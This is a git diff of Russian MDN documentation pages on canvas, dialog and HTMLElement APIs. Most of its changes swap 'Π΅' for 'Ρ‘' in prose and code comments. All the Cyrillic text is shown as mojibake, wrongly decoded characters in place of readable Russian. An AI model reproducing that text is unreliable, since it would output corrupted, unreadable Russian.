+++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html
@@ -40,7 +40,7 @@ var stream = canvasElt.captureStream(25); // 25 FPS
// Π”Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ
// Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ RTCPeerConnection
-// pc это RTCPeerConnection, созданноС Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Π΅
+// pc это RTCPeerConnection, созданноС Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Ρ‘
pc.addStream(stream);
</pre>
diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
index 3ac02908b7..ebd62161f6 100644
--- a/files/ru/web/api/htmlcanvaselement/getcontext/index.html
+++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html
@@ -19,12 +19,12 @@ translation_of: Web/API/HTMLCanvasElement/getContext
<dd>{{domxref("DOMString")}}, содСрТащий ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ контСкста,Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ контСкст рисования, связанный с холстом. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:
<ul>
<li><code>"2d</code>", Π²Π΅Π΄ΡƒΡ‰ΠΈΠΉ ΠΊ созданию ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("CanvasRenderingContext2D")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΉ контСкст.</li>
- <li><code>"webgl"</code> (ΠΈΠ»ΠΈΒ <code>"experimental-webgl"</code>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("WebGLRenderingContext")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ контСкст. Π­Ρ‚ΠΎΡ‚ контСкст доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β {{domxref("WebGL")}}Β ΠΏΠ΅Ρ€Π²ΠΎΠΉ вСрсии (OpenGL ESΒ 2.0).</li>
- <li>"<code>webgl2</code>" (ΠΈΠ»ΠΈ "<code>experimental-webgl2</code>"), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("WebGL2RenderingContext")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ контСкст. Π­Ρ‚ΠΎΡ‚ контСкст доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β {{domxref("WebGL")}}Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ вСрсии (OpenGL ES 3.0). {{experimental_inline}}</li>
+ <li><code>"webgl"</code> (ΠΈΠ»ΠΈΒ <code>"experimental-webgl"</code>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("WebGLRenderingContext")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ контСкст. Π­Ρ‚ΠΎΡ‚ контСкст доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β {{domxref("WebGL")}}Β ΠΏΠ΅Ρ€Π²ΠΎΠΉ вСрсии (OpenGL ESΒ 2.0).</li>
+ <li>"<code>webgl2</code>" (ΠΈΠ»ΠΈ "<code>experimental-webgl2</code>"), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("WebGL2RenderingContext")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ контСкст. Π­Ρ‚ΠΎΡ‚ контСкст доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β {{domxref("WebGL")}}Β Π²Ρ‚ΠΎΡ€ΠΎΠΉ вСрсии (OpenGL ES 3.0). {{experimental_inline}}</li>
<li><code>"bitmaprenderer",</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ {{domxref("ImageBitmapRenderingContext")}}, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для Π·Π°ΠΌΠ΅Π½Ρ‹ содСрТимого холста с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ {{domxref("ImageBitmap")}}.</li>
</ul>
- <p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ "<code>experimental-webgl</code>" ΠΈΠ»ΠΈ "<code>experimental-webgl2</code>" ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² Π½ΠΎΠ²Ρ‹Ρ… рСализациях WebGL. Π­Ρ‚ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ достигли ΠΈΡΠΏΡ‹Ρ‚Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π½Π° соотвСтствиС или ситуация с графичСскими Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π°ΠΌΠΈ Π½Π° ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ Π΅Ρ‰Π΅ Π½Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Π° The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p>
+ <p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ "<code>experimental-webgl</code>" ΠΈΠ»ΠΈ "<code>experimental-webgl2</code>" ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² Π½ΠΎΠ²Ρ‹Ρ… рСализациях WebGL. Π­Ρ‚ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ достигли ΠΈΡΠΏΡ‹Ρ‚Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Π½Π° соотвСтствиС или ситуация с графичСскими Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Π°ΠΌΠΈ Π½Π° ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ Π΅Ρ‰Ρ‘ Π½Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Π° The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p>
</dd>
<dt><code>contextAttributes</code></dt>
<dd>
diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html
index 3ec0c1e158..2afcf36825 100644
--- a/files/ru/web/api/htmlcanvaselement/toblob/index.html
+++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html
@@ -46,7 +46,7 @@ canvas.toBlob(function(blob) {
url = URL.createObjectURL(blob);
newImg.onload = function() {
- // большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ blob, поэтому ΠΎΠ½ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½
+ // большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ blob, поэтому ΠΎΠ½ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½
URL.revokeObjectURL(url);
};
@@ -62,7 +62,7 @@ canvas.toBlob(function(blob) {
<div>
<h3 id="A_way_to_convert_a_canvas_to_an_ico_Mozilla_only">A way to convert a canvas to an ico (Mozilla only)</h3>
-<p>Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>-moz-parse</code> для прСобразования cnavas Π² ICO. Windows XP Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ· PNG Π² ico, поэтому вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ bmp. Бсылка для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ создаСтся ΠΏΡƒΡ‚Π΅ΠΌ установки Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ - это имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°.</p>
+<p>Π­Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>-moz-parse</code> для прСобразования cnavas Π² ICO. Windows XP Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ· PNG Π² ico, поэтому вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ bmp. Бсылка для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ создаётся ΠΏΡƒΡ‚Ρ‘ΠΌ установки Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ - это имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ Ρ„Π°ΠΉΠ»Π°.</p>
<pre class="brush: js">var canvas = document.getElementById('canvas');
var d = canvas.width;
diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html
index fd7432b122..835d070939 100644
--- a/files/ru/web/api/htmldialogelement/index.html
+++ b/files/ru/web/api/htmldialogelement/index.html
@@ -33,7 +33,7 @@ translation_of: Web/API/HTMLDialogElement
<dt>{{domxref("HTMLDialogElement.close()")}}</dt>
<dd>Π—Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ. ΠžΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ {{domxref("DOMString")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Β ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‰ΠΈΠΉΒ <code>returnValue</code> Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("HTMLDialogElement.show()")}}</dt>
- <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ modelessly, Ρ‚.Π΅. остаСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π²Π½Π΅ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠΊΠ½Π°.</dd>
+ <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ modelessly, Ρ‚.Π΅. остаётся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π²Π½Π΅ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("HTMLDialogElement.showModal()")}}</dt>
<dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ ΠΊΠ°ΠΊ модальноС ΠΎΠΊΠ½ΠΎΒ ΠΏΠΎΠ²Π΅Ρ€Ρ… Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹Ρ… ΠΎΠΊΠΎΠ½, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. ВзаимодСйствиС с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Π²Π½Π΅ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠΊΠ½Π° Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ΠΎ.</dd>
</dl>
diff --git a/files/ru/web/api/htmlelement/accesskey/index.html b/files/ru/web/api/htmlelement/accesskey/index.html
index 12df05982c..a8227e569d 100644
--- a/files/ru/web/api/htmlelement/accesskey/index.html
+++ b/files/ru/web/api/htmlelement/accesskey/index.html
@@ -14,7 +14,7 @@ original_slug: Web/API/Element/accessKey
<p>Бвойство <font face="Consolas, Monaco, Andale Mono, monospace"><strong>accessKey</strong></font> позволяСт ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ элСмСнту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сочСтания клавиш - Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΈΠΌ ΠΈ Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
<div class="note">
-<p>По сути, <strong>accessKey </strong>Π·Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°</a>...</p>
+<p>По сути, <strong>accessKey </strong>Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">ΠΎΠ΄Π½ΠΎΠΈΠΌΡ‘Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°</a>...</p>
</div>
<div class="warning">
@@ -39,7 +39,7 @@ elem.accessKey = "w";
<h2 id="НСмного_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ">НСмного ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</h2>
-<p>Ѐокусировка Π½Π° элСмСнт ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… клавиш (,Π³Π΄Π΅<strong> acesskey</strong> - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства<code><strong> acessKey).</strong></code></p>
+<p>Ѐокусировка Π½Π° элСмСнт ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… клавиш (,Π³Π΄Π΅<strong> acesskey</strong> - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства<code><strong> acessKey).</strong></code></p>
<table class="standard-table" style="height: 252px; width: 388px;">
<tbody>
diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html
index 6886374bee..b901a819bd 100644
--- a/files/ru/web/api/htmlelement/hidden/index.html
+++ b/files/ru/web/api/htmlelement/hidden/index.html
@@ -62,7 +62,7 @@ translation_of: Web/API/HTMLElement/hidden
&lt;button class="button" id="okButton"&gt;OK&lt;/button&gt;
&lt;/div&gt;</pre>
-<p>Π­Ρ‚ΠΎΡ‚Β  HTML создаСт панСль, которая привСтствуСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉΒ Π½Π° сайтС ΠΈ рассказываСт ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ с Ρ‡Π΅ΠΌ ΠΎΠ½ΠΈ ΡΠΎΠ³Π»Π°ΡˆΠ°ΡŽΡ‚ΡΡ наТимая Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ OK.</p>
+<p>Π­Ρ‚ΠΎΡ‚Β  HTML создаёт панСль, которая привСтствуСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉΒ Π½Π° сайтС ΠΈ рассказываСт ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ с Ρ‡Π΅ΠΌ ΠΎΠ½ΠΈ ΡΠΎΠ³Π»Π°ΡˆΠ°ΡŽΡ‚ΡΡ наТимая Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ OK.</p>
<h4 id="The_follow-up_panel">The follow-up panel</h4>
diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html
index e8d14948a9..bd26064ef3 100644
--- a/files/ru/web/api/htmlelement/offsetheight/index.html
+++ b/files/ru/web/api/htmlelement/offsetheight/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/HTMLElement/offsetHeight
---
<div>{{ APIRef("HTML DOM") }}</div>
-<p><strong><code>HTMLElement.offsetHeight</code></strong>Β - высота элСмСнта с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Π³Ρ€Π°Π½ΠΈΡ† Π² пиксСлях. Бвойство нСизмСняСмоС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ - цСлочислСнноС.</p>
+<p><strong><code>HTMLElement.offsetHeight</code></strong>Β - высота элСмСнта с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Π³Ρ€Π°Π½ΠΈΡ† Π² пиксСлях. Бвойство нСизмСняСмоС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ - цСлочислСнноС.</p>
<p>Typically, an element's <code>offsetHeight</code> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p>
diff --git a/files/ru/web/api/htmlelement/transitionend_event/index.html b/files/ru/web/api/htmlelement/transitionend_event/index.html
index 697806203f..7a0aab188e 100644
--- a/files/ru/web/api/htmlelement/transitionend_event/index.html
+++ b/files/ru/web/api/htmlelement/transitionend_event/index.html
@@ -6,7 +6,7 @@ tags:
translation_of: Web/API/HTMLElement/transitionend_event
original_slug: Web/Events/transitionend
---
-<p><span style="line-height: 1.5;">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатываСт, ΠΊΠΎΠ³Π΄Π°</span><span style="line-height: 1.5;">Β </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;">Β Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» своС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅. Π’ случаС, ΠΊΠΎΠ³Π΄Π° анимация удаляСтся Π΄ΠΎ Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a>Β </span><span style="line-height: 1.5;">удаляСтся), Ρ‚ΠΎ событиС Π½Π΅ срабатываСт.</span></p>
+<p><span style="line-height: 1.5;">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатываСт, ΠΊΠΎΠ³Π΄Π°</span><span style="line-height: 1.5;">Β </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;">Β Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» своё Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅. Π’ случаС, ΠΊΠΎΠ³Π΄Π° анимация удаляСтся Π΄ΠΎ Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a>Β </span><span style="line-height: 1.5;">удаляСтся), Ρ‚ΠΎ событиС Π½Π΅ срабатываСт.</span></p>
<h2 id="ΠžΠ±Ρ‰Π°Ρ_информация">ΠžΠ±Ρ‰Π°Ρ информация</h2>
@@ -75,11 +75,11 @@ original_slug: Web/Events/transitionend
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
<pre class="brush: js">/*
- * ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС <span style="font-size: 1rem;">transitionend Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ элСмСнтС, Ρ‚.Π΅. </span><span style="font-size: 1rem;">#slidingMenu</span>
- * Π—Π°Ρ‚Π΅ΠΌ, Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚.Π΅. showMessage()
+ * ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС <span style="font-size: 1rem;">transitionend Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ элСмСнтС, Ρ‚.Π΅. </span><span style="font-size: 1rem;">#slidingMenu</span>
+ * Π—Π°Ρ‚Π΅ΠΌ, Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ρ‚.Π΅. showMessage()
*/
function showMessage() {
-Β Β Β  alert('Transition Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» своС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅');
+Β Β Β  alert('Transition Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ» своё Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅');
}
var element = document.getElementById("slidingMenu");
diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html
index 1c96e0f2d1..9236013fa7 100644
--- a/files/ru/web/api/htmlimageelement/image/index.html
+++ b/files/ru/web/api/htmlimageelement/image/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/HTMLImageElement/Image
<div></div>
